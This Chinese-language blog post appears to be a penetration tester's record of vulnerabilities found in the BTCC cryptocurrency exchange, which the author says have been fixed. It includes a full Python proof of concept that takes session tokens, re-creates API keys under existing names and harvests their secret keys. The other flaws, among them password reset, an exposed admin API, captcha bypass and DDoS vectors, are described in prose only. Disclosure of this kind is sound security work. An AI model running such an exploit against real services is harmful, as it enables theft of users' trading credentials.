交易所渗透测试安全漏洞记录

交易所渗透测试安全漏洞记录

Mour


记录一下前一段时间内,发现的交易所的一些漏洞问题(链上安全无关)。


高危一: 获取交易key私钥

POC文件运行截图:

SecertKey是通过api交易的唯一key,设计原则是该私钥只显示一次,但是由于逻辑问题。导致可以创建重名key,从而得到该key的私钥。于是可以通过获取到的token列取所有的SecertKey,然后重建进行获取。

ojbk,漏洞已修复。就拿旧图放这看看吧


下面是POC代码。

import requests
import json
import click
import os 

def parserToken(token):
    url = "https://api-bt.btcc.com/api/v1/settings/api_key/"
    labels = []
    secret_keys = []

    headers = {
        'Host': "api-bt.btcc.com",
        'Connection': "keep-alive",
        'Accept': "application/json",
        'Origin': "https://www.btcc.com",
        'Authorization': "Token {}".format(token),
        'x-auth-device': "dW5kZWZpbmVkQEBDaHJvbWUgNjdAQDUzYmMwMzVjZDc4YTIyNTkyZTRmNGY0OGQxNDljYTdhQEB1bmRlZmluZWQ=",
        'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        'Referer': "https://www.btcc.com/user-setting/api-key",
        'Accept-Encoding': "gzip, deflate, br",
        'Accept-Language': "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
        'Cache-Control': "no-cache"
        # 'Postman-Token': "277489dd-6a6a-491a-99f4-9b49ab4f3f17"
        }

    response = requests.request("GET", url, headers=headers)
    data = json.loads(response.text).get('data')
    if data:
        for item in data:
            labels.append(item['label'])

    for item in labels:
        payload = {"label":item, "permission":"01"}
        response = requests.request("POST", url, data=payload, headers=headers)
        
        with open(token,'a') as f:
            f.write(response.text+"\n")
            click.echo(click.style('[√]:',fg='green')+"Good, We Got Secret Keys:\t" + json.loads(response.text)['data']['secret_key'])
            
    if not os.path.isfile(token):
        click.echo(click.style('[×]',fg='red') + "NO Secret Key Belongs To This Token")
    
@click.command()
@click.option('--token', help="Please Setting Your Token ")
@click.option('--tokenfile', help="Please Setting Your Token File ")
def secretkeyPOC(token=None, tokenfile=None):
    # if not token and not tokenfile:

    if token and tokenfile:
        click.echo(click.style('[!]: ',fg='red') + "Your Can Setting Only One Option ")
    
    elif token:
        parserToken(token)
    
    elif tokenfile:
        click.echo(click.style("[!]: ", fg='yellow') + "Please Follow This Format Put Your Token")
        click.echo("\t xxxxxxxxxxxxxxxxxxxxxx")
        click.echo("\t yyyyyyyyyyyyyyyyyyyyyy")

        tokens = []
        with open(tokenfile) as f:
            for _ in f.readlines():
                _token = _.strip('\n')
                tokens.append(_token)

        for _ in set(tokens):
            click.echo(click.style('[*]: ',fg='green') + "Now we capture token {}".format(_))
            parserToken(_)

    else:
        click.echo(click.style('[!]: ',fg='red') + "Please Setting Your Token Or Your Token File")
        
def main():
    secretkeyPOC()

if __name__ == '__main__':
    main()



高危二: 任意密码重置

邮箱验证码调试未删除,显示在浏览器,导致可重置任意用户密码。


高危三: closeorder的无限制请求可造成DDOS

这一项属于编程的bug所在,前后端未对接好。导致在非交易页面,也一直向服务器不停的请求closeorder, 用户大量在线,或者垃圾账号在线。即可引起。


高危四: admin-api暴露在公网

运维操作失误,遗忘之后。把admin-api暴露在官网,这只是个审核平台的api,普通用户的提现申请,经由该平台审核通过即进行充提。但是一个极其简陋的平台。Django API列表暴露在外可操作可查询。截图就不放了。


中危一: 登录验证绕过

网易验证码对接问题,导致可直接绕过验证码登录。并获取token。也因此引起的一波垃圾注册问题。以及后续做限速等等。


中危二: websocket帧大小未限制

websocket的每桢内容的大小需要限制,否则可以通过发送超大文件来对服务器进行DDOS攻击。


低危一: 银行卡地址栏XSS

自XSS似乎没有什么用


低危二: 邀请用户信息泄露

按照设计来讲是不允许知道邀请账号的邮箱,避免引起其他问题。程序设计问题。


低危三: Sentry无限打日志

本来呢,不打算放在这里了,但是后来看到HackOne的Tg订阅推送了一篇文章,说把Sentry的无限打日志作为一个漏洞之类的,就重新放在这里了。


其他

白帽子: 点击劫持

国外白帽报过来的点击劫持

知道创宇: 第三方客服服务的平级越权

kf5的session遍历得到的结果是不同公司的companyid配合ip。非要说是高危,但是并没有什么意义。

圳链: 外包给白帽汇进行的渗透测试

给的测试环境去渗透的,报告里提到的一些漏洞意义不大。平平。一共发现了三个,逻辑漏洞没测出来。在测试环境只发现了api未限速和debug信息泄露仿佛有点不尽如人意。


最后

就上述的漏洞得到了0.01BTC奖励,当时大概价值500元(我的劳动成果真是廉价啊)。后来把这0.01BTC兑换成ETH,后又兑换成LTC,最高时值100$了,然后以1.26LTC提出时,LTC后降价至59$....




















Report Page